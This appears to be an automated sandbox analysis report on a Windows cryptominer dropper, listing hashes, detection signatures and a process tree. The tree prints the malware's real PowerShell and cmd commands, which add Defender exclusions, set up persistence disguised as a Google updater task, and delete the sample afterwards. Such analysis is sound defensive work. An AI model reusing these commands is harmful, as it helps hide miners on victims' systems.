Overview
overview
10Static
static
3grhsghsGHs...y8.exe
windows7-x64
10grhsghsGHs...y8.exe
windows10-2004-x64
10grhsghsGHs...SE.exe
windows7-x64
10grhsghsGHs...SE.exe
windows10-2004-x64
10grhsghsGHs...CD.exe
windows7-x64
10grhsghsGHs...CD.exe
windows10-2004-x64
10grhsghsGHs...Da.exe
windows7-x64
10grhsghsGHs...Da.exe
windows10-2004-x64
10grhsghsGHs...wq.exe
windows7-x64
10grhsghsGHs...wq.exe
windows10-2004-x64
10grhsghsGHs...r7.exe
windows7-x64
10grhsghsGHs...r7.exe
windows10-2004-x64
10grhsghsGHs...XJ.exe
windows7-x64
10grhsghsGHs...XJ.exe
windows10-2004-x64
10grhsghsGHs...eg.exe
windows7-x64
10grhsghsGHs...eg.exe
windows10-2004-x64
10grhsghsGHs...5H.exe
windows7-x64
10grhsghsGHs...5H.exe
windows10-2004-x64
10grhsghsGHs...XN.exe
windows7-x64
10grhsghsGHs...XN.exe
windows10-2004-x64
10grhsghsGHs...T3.exe
windows7-x64
10grhsghsGHs...T3.exe
windows10-2004-x64
10grhsghsGHs...9r.exe
windows7-x64
10grhsghsGHs...9r.exe
windows10-2004-x64
10grhsghsGHs...GR.exe
windows7-x64
10grhsghsGHs...GR.exe
windows10-2004-x64
10grhsghsGHs...EX.exe
windows7-x64
10grhsghsGHs...EX.exe
windows10-2004-x64
10grhsghsGHs...EA.exe
windows7-x64
10grhsghsGHs...EA.exe
windows10-2004-x64
10grhsghsGHs...FB.exe
windows7-x64
10grhsghsGHs...FB.exe
windows10-2004-x64
10Resubmissions
25/01/2024, 16:55
240125-vfcyksbhgr1024/01/2024, 17:15
240124-vstf4aecaj1023/01/2024, 19:27
240123-x6cfvagbd91023/01/2024, 19:27
240123-x6bvbafgem1023/01/2024, 19:27
240123-x6bjjsgbd81023/01/2024, 19:27
240123-x6ax1sfgek1023/01/2024, 19:27
240123-x6abgsfgej1023/01/2024, 19:27
240123-x591qagbd71023/01/2024, 19:27
240123-x59d7agbd61023/01/2024, 19:27
240123-x584esgbd510Analysis
- max time kernel
1800s - max time network
1796s - platform
windows10-2004_x64 - resource
win10v2004-20231215-en - resource tags
arch:x64arch:x86image:win10v2004-20231215-enlocale:en-usos:windows10-2004-x64system - submitted
23/01/2024, 19:27
Static task
static1
Behavioral task
behavioral1
Sample
grhsghsGHswgh/3JynzWc6LxNCT2y8.exe
Resource
win7-20231215-en
Behavioral task
behavioral2
Sample
grhsghsGHswgh/3JynzWc6LxNCT2y8.exe
Resource
win10v2004-20231215-en
Behavioral task
behavioral3
Sample
grhsghsGHswgh/6aNn9vLJCQVfagSE.exe
Resource
win7-20231215-en
Behavioral task
behavioral4
Sample
grhsghsGHswgh/6aNn9vLJCQVfagSE.exe
Resource
win10v2004-20231215-en
Behavioral task
behavioral5
Sample
grhsghsGHswgh/6vHkJ4UErTSS5ECD.exe
Resource
win7-20231215-en
Behavioral task
behavioral6
Sample
grhsghsGHswgh/6vHkJ4UErTSS5ECD.exe
Resource
win10v2004-20231215-en
Behavioral task
behavioral7
Sample
grhsghsGHswgh/Be5sCbvuma2nkHDa.exe
Resource
win7-20231129-en
Behavioral task
behavioral8
Sample
grhsghsGHswgh/Be5sCbvuma2nkHDa.exe
Resource
win10v2004-20231215-en
Behavioral task
behavioral9
Sample
grhsghsGHswgh/DLKFnAGYJBNTnxwq.exe
Resource
win7-20231215-en
Behavioral task
behavioral10
Sample
grhsghsGHswgh/DLKFnAGYJBNTnxwq.exe
Resource
win10v2004-20231215-en
Behavioral task
behavioral11
Sample
grhsghsGHswgh/EtPLMpbCyFJpMJr7.exe
Resource
win7-20231215-en
Behavioral task
behavioral12
Sample
grhsghsGHswgh/EtPLMpbCyFJpMJr7.exe
Resource
win10v2004-20231215-en
Behavioral task
behavioral13
Sample
grhsghsGHswgh/Gu3PdXt79NF7EJXJ.exe
Resource
win7-20231215-en
Behavioral task
behavioral14
Sample
grhsghsGHswgh/Gu3PdXt79NF7EJXJ.exe
Resource
win10v2004-20231215-en
Behavioral task
behavioral15
Sample
grhsghsGHswgh/JqLvG94UkYjhxAeg.exe
Resource
win7-20231215-en
Behavioral task
behavioral16
Sample
grhsghsGHswgh/JqLvG94UkYjhxAeg.exe
Resource
win10v2004-20231215-en
Behavioral task
behavioral17
Sample
grhsghsGHswgh/LM3BR4UBmKBzBP5H.exe
Resource
win7-20231215-en
Behavioral task
behavioral18
Sample
grhsghsGHswgh/LM3BR4UBmKBzBP5H.exe
Resource
win10v2004-20231215-en
Behavioral task
behavioral19
Sample
grhsghsGHswgh/M8xUNW42QxTLMRXN.exe
Resource
win7-20231215-en
Behavioral task
behavioral20
Sample
grhsghsGHswgh/M8xUNW42QxTLMRXN.exe
Resource
win10v2004-20231215-en
Behavioral task
behavioral21
Sample
grhsghsGHswgh/Q5EUCWHU7pMYBfT3.exe
Resource
win7-20231215-en
Behavioral task
behavioral22
Sample
grhsghsGHswgh/Q5EUCWHU7pMYBfT3.exe
Resource
win10v2004-20231215-en
Behavioral task
behavioral23
Sample
grhsghsGHswgh/UMRsPGc4u9tycx9r.exe
Resource
win7-20231215-en
Behavioral task
behavioral24
Sample
grhsghsGHswgh/UMRsPGc4u9tycx9r.exe
Resource
win10v2004-20231215-en
Behavioral task
behavioral25
Sample
grhsghsGHswgh/UU4Ddwqm5zcuLzGR.exe
Resource
win7-20231215-en
Behavioral task
behavioral26
Sample
grhsghsGHswgh/UU4Ddwqm5zcuLzGR.exe
Resource
win10v2004-20231215-en
Behavioral task
behavioral27
Sample
grhsghsGHswgh/XJEzW6M7WvHaF3EX.exe
Resource
win7-20231215-en
Behavioral task
behavioral28
Sample
grhsghsGHswgh/XJEzW6M7WvHaF3EX.exe
Resource
win10v2004-20231215-en
Behavioral task
behavioral29
Sample
grhsghsGHswgh/Y2JYGshMHJGuGREA.exe
Resource
win7-20231215-en
Behavioral task
behavioral30
Sample
grhsghsGHswgh/Y2JYGshMHJGuGREA.exe
Resource
win10v2004-20231222-en
Behavioral task
behavioral31
Sample
grhsghsGHswgh/Yvdp8t5knpQz7sFB.exe
Resource
win7-20231129-en
General
- Target grhsghsGHswgh/Gu3PdXt79NF7EJXJ.exe
- Size 2.0MB
- Sample240123-x6bvbafgem
- SHA256 cacc0261ccf7578ef5c1f9fdbe35705ad91070d020a4225e05cbf71a6103ac8e
- MD5 a16a669a09bf158058b83e04e69fe38e
- SHA1 f6c94763850d9e590d86057139e8895a7aacdeea
- SHA512 658b52ad1d27becee5b5bbd443d43da38b88d49880e72c8cb843f176a2d84d571b39c34dbc7cfb7ea56acc548acc5b68cce47a8bcf9d173feec031f7e33a09c6
- SSDEEP 49152:rWVipAxqo5p88CbXuxWQiSJU320ZW21Q0YWAij64ane6szjmL/45:rxAEcp9ueXit9WAQ0YWuO
- MD5 SHA1 SHA512 SSDEEP
Malware Config
Signatures
- Suspicious use of NtCreateUserProcessOtherParentProcess 10 IoCs
description pid Process procid_target PID 1040 created 3308 1040 Gu3PdXt79NF7EJXJ.exe 38 PID 1040 created 3308 1040 Gu3PdXt79NF7EJXJ.exe 38 PID 1040 created 3308 1040 Gu3PdXt79NF7EJXJ.exe 38 PID 1040 created 3308 1040 Gu3PdXt79NF7EJXJ.exe 38 PID 1584 created 3308 1584 updater.exe 38 PID 1584 created 3308 1584 updater.exe 38 PID 1584 created 3308 1584 updater.exe 38 PID 2840 created 3308 2840 conhost.exe 38 PID 1584 created 3308 1584 updater.exe 38 PID 1584 created 3308 1584 updater.exe 38 - XMRig Miner payload 30 IoCs
resource yara_rule behavioral14/memory/3044-132-0x00007FF6B7DA0000-0x00007FF6B8594000-memory.dmp xmrig behavioral14/memory/3044-136-0x00007FF6B7DA0000-0x00007FF6B8594000-memory.dmp xmrig behavioral14/memory/3044-137-0x00007FF6B7DA0000-0x00007FF6B8594000-memory.dmp xmrig behavioral14/memory/3044-139-0x00007FF6B7DA0000-0x00007FF6B8594000-memory.dmp xmrig behavioral14/memory/3044-143-0x00007FF6B7DA0000-0x00007FF6B8594000-memory.dmp xmrig behavioral14/memory/3044-145-0x00007FF6B7DA0000-0x00007FF6B8594000-memory.dmp xmrig behavioral14/memory/3044-147-0x00007FF6B7DA0000-0x00007FF6B8594000-memory.dmp xmrig behavioral14/memory/3044-149-0x00007FF6B7DA0000-0x00007FF6B8594000-memory.dmp xmrig behavioral14/memory/3044-151-0x00007FF6B7DA0000-0x00007FF6B8594000-memory.dmp xmrig behavioral14/memory/3044-153-0x00007FF6B7DA0000-0x00007FF6B8594000-memory.dmp xmrig behavioral14/memory/3044-155-0x00007FF6B7DA0000-0x00007FF6B8594000-memory.dmp xmrig behavioral14/memory/3044-157-0x00007FF6B7DA0000-0x00007FF6B8594000-memory.dmp xmrig behavioral14/memory/3044-159-0x00007FF6B7DA0000-0x00007FF6B8594000-memory.dmp xmrig behavioral14/memory/3044-161-0x00007FF6B7DA0000-0x00007FF6B8594000-memory.dmp xmrig behavioral14/memory/3044-163-0x00007FF6B7DA0000-0x00007FF6B8594000-memory.dmp xmrig behavioral14/memory/3044-165-0x00007FF6B7DA0000-0x00007FF6B8594000-memory.dmp xmrig behavioral14/memory/3044-167-0x00007FF6B7DA0000-0x00007FF6B8594000-memory.dmp xmrig behavioral14/memory/3044-169-0x00007FF6B7DA0000-0x00007FF6B8594000-memory.dmp xmrig behavioral14/memory/3044-171-0x00007FF6B7DA0000-0x00007FF6B8594000-memory.dmp xmrig behavioral14/memory/3044-173-0x00007FF6B7DA0000-0x00007FF6B8594000-memory.dmp xmrig behavioral14/memory/3044-175-0x00007FF6B7DA0000-0x00007FF6B8594000-memory.dmp xmrig behavioral14/memory/3044-177-0x00007FF6B7DA0000-0x00007FF6B8594000-memory.dmp xmrig behavioral14/memory/3044-179-0x00007FF6B7DA0000-0x00007FF6B8594000-memory.dmp xmrig behavioral14/memory/3044-181-0x00007FF6B7DA0000-0x00007FF6B8594000-memory.dmp xmrig behavioral14/memory/3044-183-0x00007FF6B7DA0000-0x00007FF6B8594000-memory.dmp xmrig behavioral14/memory/3044-185-0x00007FF6B7DA0000-0x00007FF6B8594000-memory.dmp xmrig behavioral14/memory/3044-187-0x00007FF6B7DA0000-0x00007FF6B8594000-memory.dmp xmrig behavioral14/memory/3044-189-0x00007FF6B7DA0000-0x00007FF6B8594000-memory.dmp xmrig behavioral14/memory/3044-191-0x00007FF6B7DA0000-0x00007FF6B8594000-memory.dmp xmrig behavioral14/memory/3044-193-0x00007FF6B7DA0000-0x00007FF6B8594000-memory.dmp xmrig - Executes dropped EXE 1 IoCs
pid Process 1584 updater.exe -
resource yara_rule behavioral14/memory/3044-125-0x00007FF6B7DA0000-0x00007FF6B8594000-memory.dmp upx behavioral14/memory/3044-132-0x00007FF6B7DA0000-0x00007FF6B8594000-memory.dmp upx behavioral14/memory/3044-136-0x00007FF6B7DA0000-0x00007FF6B8594000-memory.dmp upx behavioral14/memory/3044-137-0x00007FF6B7DA0000-0x00007FF6B8594000-memory.dmp upx behavioral14/memory/3044-139-0x00007FF6B7DA0000-0x00007FF6B8594000-memory.dmp upx behavioral14/memory/3044-143-0x00007FF6B7DA0000-0x00007FF6B8594000-memory.dmp upx behavioral14/memory/3044-145-0x00007FF6B7DA0000-0x00007FF6B8594000-memory.dmp upx behavioral14/memory/3044-147-0x00007FF6B7DA0000-0x00007FF6B8594000-memory.dmp upx behavioral14/memory/3044-149-0x00007FF6B7DA0000-0x00007FF6B8594000-memory.dmp upx behavioral14/memory/3044-151-0x00007FF6B7DA0000-0x00007FF6B8594000-memory.dmp upx behavioral14/memory/3044-153-0x00007FF6B7DA0000-0x00007FF6B8594000-memory.dmp upx behavioral14/memory/3044-155-0x00007FF6B7DA0000-0x00007FF6B8594000-memory.dmp upx behavioral14/memory/3044-157-0x00007FF6B7DA0000-0x00007FF6B8594000-memory.dmp upx behavioral14/memory/3044-159-0x00007FF6B7DA0000-0x00007FF6B8594000-memory.dmp upx behavioral14/memory/3044-161-0x00007FF6B7DA0000-0x00007FF6B8594000-memory.dmp upx behavioral14/memory/3044-163-0x00007FF6B7DA0000-0x00007FF6B8594000-memory.dmp upx behavioral14/memory/3044-165-0x00007FF6B7DA0000-0x00007FF6B8594000-memory.dmp upx behavioral14/memory/3044-167-0x00007FF6B7DA0000-0x00007FF6B8594000-memory.dmp upx behavioral14/memory/3044-169-0x00007FF6B7DA0000-0x00007FF6B8594000-memory.dmp upx behavioral14/memory/3044-171-0x00007FF6B7DA0000-0x00007FF6B8594000-memory.dmp upx behavioral14/memory/3044-173-0x00007FF6B7DA0000-0x00007FF6B8594000-memory.dmp upx behavioral14/memory/3044-175-0x00007FF6B7DA0000-0x00007FF6B8594000-memory.dmp upx behavioral14/memory/3044-177-0x00007FF6B7DA0000-0x00007FF6B8594000-memory.dmp upx behavioral14/memory/3044-179-0x00007FF6B7DA0000-0x00007FF6B8594000-memory.dmp upx behavioral14/memory/3044-181-0x00007FF6B7DA0000-0x00007FF6B8594000-memory.dmp upx behavioral14/memory/3044-183-0x00007FF6B7DA0000-0x00007FF6B8594000-memory.dmp upx behavioral14/memory/3044-185-0x00007FF6B7DA0000-0x00007FF6B8594000-memory.dmp upx behavioral14/memory/3044-187-0x00007FF6B7DA0000-0x00007FF6B8594000-memory.dmp upx behavioral14/memory/3044-189-0x00007FF6B7DA0000-0x00007FF6B8594000-memory.dmp upx behavioral14/memory/3044-191-0x00007FF6B7DA0000-0x00007FF6B8594000-memory.dmp upx behavioral14/memory/3044-193-0x00007FF6B7DA0000-0x00007FF6B8594000-memory.dmp upx - Drops file in System32 directory 3 IoCs
description ioc Process File opened for modification C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive powershell.exe File created C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive powershell.exe File created C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log powershell.exe - Suspicious use of SetThreadContext 2 IoCs
description pid Process procid_target PID 1584 set thread context of 2840 1584 updater.exe 112 PID 1584 set thread context of 3044 1584 updater.exe 116 - Drops file in Program Files directory 4 IoCs
description ioc Process File created C:\Program Files\Google\Libs\WR64.sys updater.exe File created C:\Program Files\Google\Libs\g.log cmd.exe File created C:\Program Files\Google\Libs\g.log cmd.exe File created C:\Program Files\Google\Chrome\updater.exe Gu3PdXt79NF7EJXJ.exe - Detects videocard installed 1 TTPs 1 IoCs
Uses WMIC.exe to determine videocard installed.
pid Process 4836 WMIC.exe - Modifies data under HKEY_USERS 64 IoCs
description ioc Process Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople\Certificates powershell.exe Set value (int) \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\AutoDetect = "0" powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed\CTLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot\CTLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\WinTrust\Trust Providers\Software Publishing powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed\CTLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople\Certificates powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA\Certificates powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople\CRLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA\CRLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed\Certificates powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root\CRLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed\CTLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root\CTLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust\Certificates powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust\CTLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed\Certificates powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot\Certificates powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot\CRLs powershell.exe Set value (int) \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\ProxyBypass = "1" powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople\CTLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed\CRLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople\CTLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople\CRLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust\Certificates powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA\CTLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust powershell.exe Set value (int) \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\UNCAsIntranet = "1" powershell.exe Set value (int) \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\AutoDetect = "0" powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA\Certificates powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople\CTLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA\Certificates powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust\CTLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root\Certificates powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root\CRLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople\Certificates powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust\CRLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust\CTLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust\CRLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed\Certificates powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot\Certificates powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust\CRLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust\CTLs powershell.exe Set value (int) \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\UNCAsIntranet = "1" powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA\CRLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root\Certificates powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root\CTLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\WinTrust\Trust Providers\Software Publishing powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA\CRLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople powershell.exe Set value (int) \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\IntranetName = "1" powershell.exe - Suspicious behavior: EnumeratesProcesses 30 IoCs
pid Process 1040 Gu3PdXt79NF7EJXJ.exe 1040 Gu3PdXt79NF7EJXJ.exe 1544 powershell.exe 1544 powershell.exe 1040 Gu3PdXt79NF7EJXJ.exe 1040 Gu3PdXt79NF7EJXJ.exe 2024 powershell.exe 2024 powershell.exe 1040 Gu3PdXt79NF7EJXJ.exe 1040 Gu3PdXt79NF7EJXJ.exe 1040 Gu3PdXt79NF7EJXJ.exe 1040 Gu3PdXt79NF7EJXJ.exe 4376 powershell.exe 4376 powershell.exe 1584 updater.exe 1584 updater.exe 4572 powershell.exe 4572 powershell.exe 1584 updater.exe 1584 updater.exe 4536 powershell.exe 4536 powershell.exe 1584 updater.exe 1584 updater.exe 2840 conhost.exe 2840 conhost.exe 1584 updater.exe 1584 updater.exe 1584 updater.exe 1584 updater.exe - Suspicious behavior: LoadsDriver 1 IoCs
pid Process 672 Process not Found - Suspicious use of AdjustPrivilegeToken 64 IoCs
description pid Process Token: SeDebugPrivilege 1544 powershell.exe Token: SeDebugPrivilege 2024 powershell.exe Token: SeIncreaseQuotaPrivilege 2024 powershell.exe Token: SeSecurityPrivilege 2024 powershell.exe Token: SeTakeOwnershipPrivilege 2024 powershell.exe Token: SeLoadDriverPrivilege 2024 powershell.exe Token: SeSystemProfilePrivilege 2024 powershell.exe Token: SeSystemtimePrivilege 2024 powershell.exe Token: SeProfSingleProcessPrivilege 2024 powershell.exe Token: SeIncBasePriorityPrivilege 2024 powershell.exe Token: SeCreatePagefilePrivilege 2024 powershell.exe Token: SeBackupPrivilege 2024 powershell.exe Token: SeRestorePrivilege 2024 powershell.exe Token: SeShutdownPrivilege 2024 powershell.exe Token: SeDebugPrivilege 2024 powershell.exe Token: SeSystemEnvironmentPrivilege 2024 powershell.exe Token: SeRemoteShutdownPrivilege 2024 powershell.exe Token: SeUndockPrivilege 2024 powershell.exe Token: SeManageVolumePrivilege 2024 powershell.exe Token: 33 2024 powershell.exe Token: 34 2024 powershell.exe Token: 35 2024 powershell.exe Token: 36 2024 powershell.exe Token: SeIncreaseQuotaPrivilege 2024 powershell.exe Token: SeSecurityPrivilege 2024 powershell.exe Token: SeTakeOwnershipPrivilege 2024 powershell.exe Token: SeLoadDriverPrivilege 2024 powershell.exe Token: SeSystemProfilePrivilege 2024 powershell.exe Token: SeSystemtimePrivilege 2024 powershell.exe Token: SeProfSingleProcessPrivilege 2024 powershell.exe Token: SeIncBasePriorityPrivilege 2024 powershell.exe Token: SeCreatePagefilePrivilege 2024 powershell.exe Token: SeBackupPrivilege 2024 powershell.exe Token: SeRestorePrivilege 2024 powershell.exe Token: SeShutdownPrivilege 2024 powershell.exe Token: SeDebugPrivilege 2024 powershell.exe Token: SeSystemEnvironmentPrivilege 2024 powershell.exe Token: SeRemoteShutdownPrivilege 2024 powershell.exe Token: SeUndockPrivilege 2024 powershell.exe Token: SeManageVolumePrivilege 2024 powershell.exe Token: 33 2024 powershell.exe Token: 34 2024 powershell.exe Token: 35 2024 powershell.exe Token: 36 2024 powershell.exe Token: SeIncreaseQuotaPrivilege 2024 powershell.exe Token: SeSecurityPrivilege 2024 powershell.exe Token: SeTakeOwnershipPrivilege 2024 powershell.exe Token: SeLoadDriverPrivilege 2024 powershell.exe Token: SeSystemProfilePrivilege 2024 powershell.exe Token: SeSystemtimePrivilege 2024 powershell.exe Token: SeProfSingleProcessPrivilege 2024 powershell.exe Token: SeIncBasePriorityPrivilege 2024 powershell.exe Token: SeCreatePagefilePrivilege 2024 powershell.exe Token: SeBackupPrivilege 2024 powershell.exe Token: SeRestorePrivilege 2024 powershell.exe Token: SeShutdownPrivilege 2024 powershell.exe Token: SeDebugPrivilege 2024 powershell.exe Token: SeSystemEnvironmentPrivilege 2024 powershell.exe Token: SeRemoteShutdownPrivilege 2024 powershell.exe Token: SeUndockPrivilege 2024 powershell.exe Token: SeManageVolumePrivilege 2024 powershell.exe Token: 33 2024 powershell.exe Token: 34 2024 powershell.exe Token: 35 2024 powershell.exe - Suspicious use of WriteProcessMemory 8 IoCs
description pid Process procid_target PID 768 wrote to memory of 2224 768 cmd.exe 102 PID 768 wrote to memory of 2224 768 cmd.exe 102 PID 4376 wrote to memory of 776 4376 powershell.exe 103 PID 4376 wrote to memory of 776 4376 powershell.exe 103 PID 1584 wrote to memory of 2840 1584 updater.exe 112 PID 2972 wrote to memory of 4836 2972 cmd.exe 115 PID 2972 wrote to memory of 4836 2972 cmd.exe 115 PID 1584 wrote to memory of 3044 1584 updater.exe 116 - Uses Task Scheduler COM API 1 TTPs
The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.
Processes
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C:\Windows\Explorer.EXEC:\Windows\Explorer.EXE1⤵PID:3308
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C:\Users\Admin\AppData\Local\Temp\grhsghsGHswgh\Gu3PdXt79NF7EJXJ.exe"C:\Users\Admin\AppData\Local\Temp\grhsghsGHswgh\Gu3PdXt79NF7EJXJ.exe"2⤵
- Suspicious use of NtCreateUserProcessOtherParentProcess
- Drops file in Program Files directory
- Suspicious behavior: EnumeratesProcesses
PID:1040
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C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeC:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Add-MpPreference -ExclusionPath @($env:UserProfile, $env:ProgramFiles) -Force2⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:1544
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C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeC:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe <#wokgfo#> IF((New-Object Security.Principal.WindowsPrincipal([Security.Principal.WindowsIdentity]::GetCurrent())).IsInRole([Security.Principal.WindowsBuiltInRole]::Administrator)) { IF([System.Environment]::OSVersion.Version -lt [System.Version]"6.2") { schtasks /create /f /sc onlogon /rl highest /ru 'System' /tn 'GoogleUpdateTaskMachineQC' /tr '''C:\Program Files\Google\Chrome\updater.exe''' } Else { Register-ScheduledTask -Action (New-ScheduledTaskAction -Execute 'C:\Program Files\Google\Chrome\updater.exe') -Trigger (New-ScheduledTaskTrigger -AtStartup) -Settings (New-ScheduledTaskSettingsSet -AllowStartIfOnBatteries -DisallowHardTerminate -DontStopIfGoingOnBatteries -DontStopOnIdleEnd -ExecutionTimeLimit (New-TimeSpan -Days 1000)) -TaskName 'GoogleUpdateTaskMachineQC' -User 'System' -RunLevel 'Highest' -Force; } } Else { reg add "HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /v "GoogleUpdateTaskMachineQC" /t REG_SZ /f /d 'C:\Program Files\Google\Chrome\updater.exe' }2⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:2024
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C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeC:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe <#glbtb#> IF((New-Object Security.Principal.WindowsPrincipal([Security.Principal.WindowsIdentity]::GetCurrent())).IsInRole([Security.Principal.WindowsBuiltInRole]::Administrator)) { schtasks /run /tn "GoogleUpdateTaskMachineQC" } Else { "C:\Program Files\Google\Chrome\updater.exe" }2⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of WriteProcessMemory
PID:4376 -
C:\Windows\system32\schtasks.exe"C:\Windows\system32\schtasks.exe" /run /tn GoogleUpdateTaskMachineQC3⤵PID:776
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C:\Windows\System32\cmd.exeC:\Windows\System32\cmd.exe /c choice /C Y /N /D Y /T 3 & Del "C:\Users\Admin\AppData\Local\Temp\grhsghsGHswgh\Gu3PdXt79NF7EJXJ.exe"2⤵
- Suspicious use of WriteProcessMemory
PID:768 -
C:\Windows\System32\choice.exechoice /C Y /N /D Y /T 33⤵PID:2224
